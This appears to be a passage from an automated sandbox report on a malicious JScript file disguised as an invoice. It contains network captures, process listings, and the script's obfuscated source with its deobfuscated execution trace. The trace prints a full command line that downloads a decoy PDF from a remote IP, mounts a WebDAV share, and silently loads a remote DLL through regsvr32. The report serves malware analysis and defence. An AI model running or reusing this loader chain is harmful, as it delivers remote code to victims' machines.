[TRUNCATED]
Jan 10, 2025 23:33:10.265809059 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:33:10.265858889 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:33:10.265894890 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:33:10.265929937 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:33:10.265964031 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 23:33:10.265997887 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 23:33:10.266031981 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 23:33:10.266083002 CET	1224	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 23:33:10.323282003 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs
Jan 10, 2025 23:33:10.323332071 CET	224	IN	Data Raw: 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a 2b a1 e5 18 Data Ascii: czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'il

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5412	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:33:12.589354992 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:33:13.370872974 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:33:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:33:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js"
Imagebase:	0x7ff701fa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:33:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Imagebase:	0x7ff7bff90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:33:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:33:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:33:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:33:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7bff90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:33:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64a750000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:33:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:33:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:33:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,2494998415737229780,3962503307134278320,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zslctobqt() {	zslctobqt() ➔ undefined
1	pznmjngp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var grgfvmx = this[zefktmqkf + wrozvg + ctlazjma + yipyi + mnhnxudp + yafhgnxc + xldiwfk + eahgtvhsv] ( this[edabdyac + zmhzzsro + acbjefy + ctlazjma + lemtkmxj + zefktmqkf + eahgtvhsv][rkenfsgmt + ctlazjma + mnhnxudp + wrozvg + eahgtvhsv + mnhnxudp + foncxphja + eyboa + cbpfeh + mnhnxudp + acbjefy + eahgtvhsv] ( edabdyac + zmhzzsro + acbjefy + ctlazjma + lemtkmxj + zefktmqkf + eahgtvhsv + danyouw + zmhzzsro + bfebt + mnhnxudp + mcscqauqu + mcscqauqu ) [lgdsptj + mnhnxudp + bsnvj + lgdsptj + mnhnxudp + wrozvg + mmhum] ( oobjth + vrugdus + wiwdmju + ubxlywn + xuotdzhs + rkenfsgmt + plwispuu + lgdsptj + lgdsptj + wiwdmju + grxvk + jzeyyyv + xuotdzhs + plwispuu + zmhzzsro + wiwdmju + lgdsptj + cducpc + rkenfsgmt + avtxhv + xldiwfk + eahgtvhsv + ctlazjma + avtxhv + mcscqauqu + dngoakdi + qiizxeebo + wrozvg + xldiwfk + mnhnxudp + mcscqauqu + cducpc + yafhgnxc + xldiwfk + eahgtvhsv + mnhnxudp + ctlazjma + xldiwfk + wrozvg + eahgtvhsv + lemtkmxj + avtxhv + xldiwfk + wrozvg + mcscqauqu + cducpc + zpzbskrk + avtxhv + acbjefy + wrozvg + mcscqauqu + mnhnxudp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( aoauiss = 0 ; aoauiss < pznmjngp[mcscqauqu + mnhnxudp + xldiwfk + bsnvj + eahgtvhsv + bfebt] ; ++ aoauiss )
4	{
5	if ( grgfvmx == pznmjngp[aoauiss] )
6	{
7	grgfvmx = true;
8	break ;
9	}
10	}
11	if ( grgfvmx !== true )
12	this[edabdyac + zmhzzsro + acbjefy + ctlazjma + lemtkmxj + zefktmqkf + eahgtvhsv][ohggf + dcgcf + lemtkmxj + eahgtvhsv] ( );
13	this[edabdyac + zmhzzsro + acbjefy + ctlazjma + lemtkmxj + zefktmqkf + eahgtvhsv][rkenfsgmt + ctlazjma + mnhnxudp + wrozvg + eahgtvhsv + mnhnxudp + foncxphja + eyboa + cbpfeh + mnhnxudp + acbjefy + eahgtvhsv] ( edabdyac + zmhzzsro + acbjefy + ctlazjma + lemtkmxj + zefktmqkf + eahgtvhsv + danyouw + zmhzzsro + bfebt + mnhnxudp + mcscqauqu + mcscqauqu ) [ctlazjma + dcgcf + xldiwfk] ( acbjefy + aktmxk + mmhum + dngoakdi + tqgtdr + acbjefy + dngoakdi + zefktmqkf + avtxhv + cjhkqja + mnhnxudp + ctlazjma + yipyi + bfebt + mnhnxudp + mcscqauqu + mcscqauqu + danyouw + mnhnxudp + poosnlqv + mnhnxudp + dngoakdi + afdljdarq + rkenfsgmt + avtxhv + aktmxk + aktmxk + wrozvg + xldiwfk + mmhum + dngoakdi + vqwudj + yafhgnxc + xldiwfk + lfzvs + avtxhv + lngrvxkn + mnhnxudp + afdljdarq + edabdyac + mnhnxudp + eyboa + lgdsptj + mnhnxudp + dzoah + dcgcf + mnhnxudp + yipyi + eahgtvhsv + dngoakdi + afdljdarq + foncxphja + dcgcf + eahgtvhsv + aabhums + lemtkmxj + mcscqauqu + mnhnxudp + dngoakdi + gkvkvd + eahgtvhsv + mnhnxudp + aktmxk + zefktmqkf + gkvkvd + cducpc + lemtkmxj + xldiwfk + lfzvs + avtxhv + lemtkmxj + acbjefy + mnhnxudp + danyouw + zefktmqkf + mmhum + iuxismqgj + dngoakdi + bfebt + eahgtvhsv + eahgtvhsv + zefktmqkf + leosh + tqgtdr + tqgtdr + atavzwgxx + ueyvtesrz + leiztgcv + danyouw + atavzwgxx + emrvs + leiztgcv + danyouw + atavzwgxx + danyouw + ligkc + xmpfxsuzm + khblzpcgb + tqgtdr + lemtkmxj + xldiwfk + lfzvs + avtxhv + lemtkmxj + acbjefy + mnhnxudp + danyouw + zefktmqkf + bfebt + zefktmqkf + vqwudj + ftbhmk + ftbhmk + yipyi + eahgtvhsv + wrozvg + ctlazjma + eahgtvhsv + dngoakdi + gkvkvd + eahgtvhsv + mnhnxudp + aktmxk + zefktmqkf + gkvkvd + cducpc + lemtkmxj + xldiwfk + lfzvs + avtxhv + lemtkmxj + acbjefy + mnhnxudp + danyouw + zefktmqkf + mmhum + iuxismqgj + ftbhmk + ftbhmk + acbjefy + aktmxk + mmhum + dngoakdi + tqgtdr + acbjefy + dngoakdi + xldiwfk + mnhnxudp + eahgtvhsv + dngoakdi + dcgcf + yipyi + mnhnxudp + dngoakdi + cducpc + cducpc + atavzwgxx + ueyvtesrz + leiztgcv + danyouw + atavzwgxx + emrvs + leiztgcv + danyouw + atavzwgxx + danyouw + ligkc + xmpfxsuzm + khblzpcgb + vnioyx + asyebpl + asyebpl + asyebpl + asyebpl + cducpc + mmhum + wrozvg + lfzvs + cjhkqja + cjhkqja + cjhkqja + ctlazjma + avtxhv + avtxhv + eahgtvhsv + cducpc + ftbhmk + ftbhmk + acbjefy + aktmxk + mmhum + dngoakdi + tqgtdr + acbjefy + dngoakdi + ctlazjma + mnhnxudp + bsnvj + yipyi + lfzvs + ctlazjma + leiztgcv + ligkc + dngoakdi + tqgtdr + yipyi + dngoakdi + cducpc + cducpc + atavzwgxx + ueyvtesrz + leiztgcv + danyouw + atavzwgxx + emrvs + leiztgcv + danyouw + atavzwgxx + danyouw + ligkc + xmpfxsuzm + khblzpcgb + vnioyx + asyebpl + asyebpl + asyebpl + asyebpl + cducpc + mmhum + wrozvg + lfzvs + cjhkqja + cjhkqja + cjhkqja + ctlazjma + avtxhv + avtxhv + eahgtvhsv + cducpc + emrvs + atavzwgxx + emrvs + rzgestt + asyebpl + asyebpl + asyebpl + atavzwgxx + atavzwgxx + leiztgcv + xmpfxsuzm + rzgestt + asyebpl + danyouw + mmhum + mcscqauqu + mcscqauqu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll",0,false) ➔ 0
14	}
15	mnhnxudp = "c";
16	mnhnxudp = "U";
17	mnhnxudp = "W";
18	mnhnxudp = "D";
19	mnhnxudp = "X";
20	mnhnxudp = "y";
21	mnhnxudp = "K";
22	mnhnxudp = "G";
23	mnhnxudp = "q";
24	mnhnxudp = "j";
25	mnhnxudp = "G";
26	mnhnxudp = "J";
27	mnhnxudp = "V";
28	mnhnxudp = "p";
29	mnhnxudp = "H";
30	mnhnxudp = "t";
31	mnhnxudp = "C";
32	mnhnxudp = "m";
33	mnhnxudp = "o";
34	mnhnxudp = "o";
35	mnhnxudp = "C";
36	mnhnxudp = "o";
37	mnhnxudp = "Q";
38	mnhnxudp = "B";
39	mnhnxudp = "D";
40	mnhnxudp = "o";
41	mnhnxudp = "k";
42	mnhnxudp = "L";
43	mnhnxudp = "n";
44	mnhnxudp = "G";
45	mnhnxudp = "d";
46	mnhnxudp = "e";
47	aabhums = "N";
48	aabhums = "d";
49	aabhums = "u";
50	aabhums = "K";
51	aabhums = "Q";
52	aabhums = "g";
53	aabhums = "Y";
54	aabhums = "n";
55	aabhums = "r";
56	aabhums = "x";
57	aabhums = "b";
58	aabhums = "E";
59	aabhums = "Y";
60	aabhums = "S";
61	aabhums = "w";
62	aabhums = "H";
63	aabhums = "Q";
64	aabhums = "x";
65	aabhums = "V";
66	aabhums = "C";
67	aabhums = "F";
68	gkvkvd = "g";
69	gkvkvd = "t";
70	gkvkvd = "J";
71	gkvkvd = "k";
72	gkvkvd = "d";
73	gkvkvd = "V";
74	gkvkvd = "U";
75	gkvkvd = "g";
76	gkvkvd = "B";
77	gkvkvd = "x";
78	gkvkvd = "k";
79	gkvkvd = "u";
80	gkvkvd = "%";
81	bfebt = "e";
82	bfebt = "d";
83	bfebt = "t";
84	bfebt = "f";
85	bfebt = "H";
86	bfebt = "X";
87	bfebt = "p";
88	bfebt = "w";
89	bfebt = "w";
90	bfebt = "V";
91	bfebt = "T";
92	bfebt = "j";
93	bfebt = "p";
94	bfebt = "W";
95	bfebt = "X";
96	bfebt = "s";
97	bfebt = "S";
98	bfebt = "A";
99	bfebt = "h";
100	lemtkmxj = "o";
101	lemtkmxj = "L";
102	lemtkmxj = "Q";
103	lemtkmxj = "d";
104	lemtkmxj = "A";
105	lemtkmxj = "w";
106	lemtkmxj = "J";
107	lemtkmxj = "O";
108	lemtkmxj = "V";
109	lemtkmxj = "i";
110	dzoah = "o";
111	dzoah = "q";
112	lfzvs = "N";
113	lfzvs = "q";
114	lfzvs = "k";
115	lfzvs = "m";
116	lfzvs = "o";
117	lfzvs = "R";
118	lfzvs = "s";
119	lfzvs = "r";
120	lfzvs = "B";
121	lfzvs = "Z";
122	lfzvs = "e";
123	lfzvs = "s";
124	lfzvs = "c";
125	lfzvs = "L";
126	lfzvs = "Q";
127	lfzvs = "W";
128	lfzvs = "a";
129	lfzvs = "u";
130	lfzvs = "v";
131	iuxismqgj = "c";
132	iuxismqgj = "o";
133	iuxismqgj = "V";
134	iuxismqgj = "J";
135	iuxismqgj = "w";
136	iuxismqgj = "q";
137	iuxismqgj = "y";
138	iuxismqgj = "m";
139	iuxismqgj = "I";
140	iuxismqgj = "P";
141	iuxismqgj = "L";
142	iuxismqgj = "T";
143	iuxismqgj = "T";
144	iuxismqgj = "K";
145	iuxismqgj = "L";
146	iuxismqgj = "q";
147	iuxismqgj = "P";
148	iuxismqgj = "g";
149	iuxismqgj = "y";
150	iuxismqgj = "b";
151	iuxismqgj = "i";
152	iuxismqgj = "K";
153	iuxismqgj = "U";
154	iuxismqgj = "B";
155	iuxismqgj = "I";
156	iuxismqgj = "w";
157	iuxismqgj = "C";
158	iuxismqgj = "A";
159	iuxismqgj = "W";
160	iuxismqgj = "B";
161	iuxismqgj = "W";
162	iuxismqgj = "y";
163	iuxismqgj = "j";
164	iuxismqgj = "P";
165	iuxismqgj = "P";
166	iuxismqgj = "V";
167	iuxismqgj = "r";
168	iuxismqgj = "W";
169	iuxismqgj = "w";
170	iuxismqgj = "F";
171	iuxismqgj = "o";
172	iuxismqgj = "D";
173	iuxismqgj = "f";
174	danyouw = "i";
175	danyouw = "h";
176	danyouw = "L";
177	danyouw = "Z";
178	danyouw = "m";
179	danyouw = "E";
180	danyouw = "k";
181	danyouw = "H";
182	danyouw = "a";
183	danyouw = "x";
184	danyouw = "v";
185	danyouw = "U";
186	danyouw = "r";
187	danyouw = "r";
188	danyouw = "K";
189	danyouw = "z";
190	danyouw = "U";
191	danyouw = "x";
192	danyouw = "i";
193	danyouw = "Z";
194	danyouw = "Q";
195	danyouw = "g";
196	danyouw = "e";
197	danyouw = "A";
198	danyouw = "S";
199	danyouw = ".";
200	ohggf = "d";
201	ohggf = "Y";
202	ohggf = "i";
203	ohggf = "p";
204	ohggf = "g";
205	ohggf = "a";
206	ohggf = "B";
207	ohggf = "u";
208	ohggf = "p";
209	ohggf = "e";
210	ohggf = "Z";
211	ohggf = "f";
212	ohggf = "k";
213	ohggf = "e";
214	ohggf = "V";
215	ohggf = "h";
216	ohggf = "d";
217	ohggf = "L";
218	ohggf = "q";
219	ohggf = "G";
220	ohggf = "q";
221	ohggf = "p";
222	ohggf = "z";
223	ohggf = "R";
224	ohggf = "E";
225	ohggf = "d";
226	ohggf = "M";
227	ohggf = "W";
228	ohggf = "p";
229	ohggf = "W";
230	ohggf = "x";
231	ohggf = "B";
232	ohggf = "C";
233	ohggf = "E";
234	ohggf = "i";
235	ohggf = "I";
236	ohggf = "i";
237	ohggf = "E";
238	ohggf = "j";
239	ohggf = "M";
240	ohggf = "H";
241	ohggf = "C";
242	ohggf = "z";
243	ohggf = "f";
244	ohggf = "Q";
245	bsnvj = "s";
246	bsnvj = "b";
247	bsnvj = "A";
248	bsnvj = "e";
249	bsnvj = "q";
250	bsnvj = "s";
251	bsnvj = "u";
252	bsnvj = "X";
253	bsnvj = "B";
254	bsnvj = "q";
255	bsnvj = "N";
256	bsnvj = "z";
257	bsnvj = "N";
258	bsnvj = "e";
259	bsnvj = "B";
260	bsnvj = "W";
261	bsnvj = "K";
262	bsnvj = "E";
263	bsnvj = "K";
264	bsnvj = "u";
265	bsnvj = "p";
266	bsnvj = "H";
267	bsnvj = "H";
268	bsnvj = "m";
269	bsnvj = "T";
270	bsnvj = "x";
271	bsnvj = "k";
272	bsnvj = "Z";
273	bsnvj = "i";
274	bsnvj = "k";
275	bsnvj = "g";
276	bsnvj = "w";
277	bsnvj = "x";
278	bsnvj = "O";
279	bsnvj = "a";
280	bsnvj = "x";
281	bsnvj = "w";
282	bsnvj = "W";
283	bsnvj = "u";
284	bsnvj = "X";
285	bsnvj = "L";
286	bsnvj = "g";
287	lngrvxkn = "j";
288	lngrvxkn = "h";
289	lngrvxkn = "h";
290	lngrvxkn = "O";
291	lngrvxkn = "W";
292	lngrvxkn = "j";
293	lngrvxkn = "F";
294	lngrvxkn = "O";
295	lngrvxkn = "C";
296	lngrvxkn = "j";
297	lngrvxkn = "q";
298	lngrvxkn = "a";
299	lngrvxkn = "y";
300	lngrvxkn = "u";
301	lngrvxkn = "i";
302	lngrvxkn = "n";
303	lngrvxkn = "Z";
304	lngrvxkn = "x";
305	lngrvxkn = "M";
306	lngrvxkn = "K";
307	lngrvxkn = "A";
308	lngrvxkn = "F";
309	lngrvxkn = "M";
310	lngrvxkn = "Q";
311	lngrvxkn = "e";
312	lngrvxkn = "G";
313	lngrvxkn = "e";
314	lngrvxkn = "w";
315	lngrvxkn = "w";
316	lngrvxkn = "V";
317	lngrvxkn = "N";
318	lngrvxkn = "D";
319	lngrvxkn = "i";
320	lngrvxkn = "t";
321	lngrvxkn = "i";
322	lngrvxkn = "j";
323	lngrvxkn = "t";
324	lngrvxkn = "f";
325	lngrvxkn = "k";
326	rzgestt = "d";
327	rzgestt = "G";
328	rzgestt = "Z";
329	rzgestt = "z";
330	rzgestt = "s";
331	rzgestt = "T";
332	rzgestt = "V";
333	rzgestt = "h";
334	rzgestt = "W";
335	rzgestt = "Y";
336	rzgestt = "y";
337	rzgestt = "C";
338	rzgestt = "d";
339	rzgestt = "f";
340	rzgestt = "a";
341	rzgestt = "A";
342	rzgestt = "r";
343	rzgestt = "J";
344	rzgestt = "X";
345	rzgestt = "I";
346	rzgestt = "Y";
347	rzgestt = "e";
348	rzgestt = "n";
349	rzgestt = "S";
350	rzgestt = "l";
351	rzgestt = "I";
352	rzgestt = "b";
353	rzgestt = "X";
354	rzgestt = "F";
355	rzgestt = "D";
356	rzgestt = "N";
357	rzgestt = "e";
358	rzgestt = "T";
359	rzgestt = "J";
360	rzgestt = "k";
361	rzgestt = "I";
362	rzgestt = "l";
363	rzgestt = "N";
364	rzgestt = "O";
365	rzgestt = "A";
366	rzgestt = "U";
367	rzgestt = "e";
368	rzgestt = "P";
369	rzgestt = "n";
370	rzgestt = "7";
371	emrvs = "I";
372	emrvs = "E";
373	emrvs = "F";
374	emrvs = "J";
375	emrvs = "t";
376	emrvs = "F";
377	emrvs = "p";
378	emrvs = "z";
379	emrvs = "Z";
380	emrvs = "o";
381	emrvs = "Q";
382	emrvs = "Q";
383	emrvs = "a";
384	emrvs = "z";
385	emrvs = "K";
386	emrvs = "n";
387	emrvs = "f";
388	emrvs = "J";
389	emrvs = "P";
390	emrvs = "q";
391	emrvs = "m";
392	emrvs = "X";
393	emrvs = "q";
394	emrvs = "K";
395	emrvs = "k";
396	emrvs = "Q";
397	emrvs = "j";
398	emrvs = "n";
399	emrvs = "y";
400	emrvs = "4";
401	xuotdzhs = "o";
402	xuotdzhs = "H";
403	xuotdzhs = "x";
404	xuotdzhs = "p";
405	xuotdzhs = "i";
406	xuotdzhs = "X";
407	xuotdzhs = "W";
408	xuotdzhs = "h";
409	xuotdzhs = "x";
410	xuotdzhs = "Z";
411	xuotdzhs = "R";
412	xuotdzhs = "e";
413	xuotdzhs = "I";
414	xuotdzhs = "x";
415	xuotdzhs = "X";
416	xuotdzhs = "U";
417	xuotdzhs = "N";
418	xuotdzhs = "f";
419	xuotdzhs = "_";
420	eahgtvhsv = "f";
421	eahgtvhsv = "l";
422	eahgtvhsv = "k";
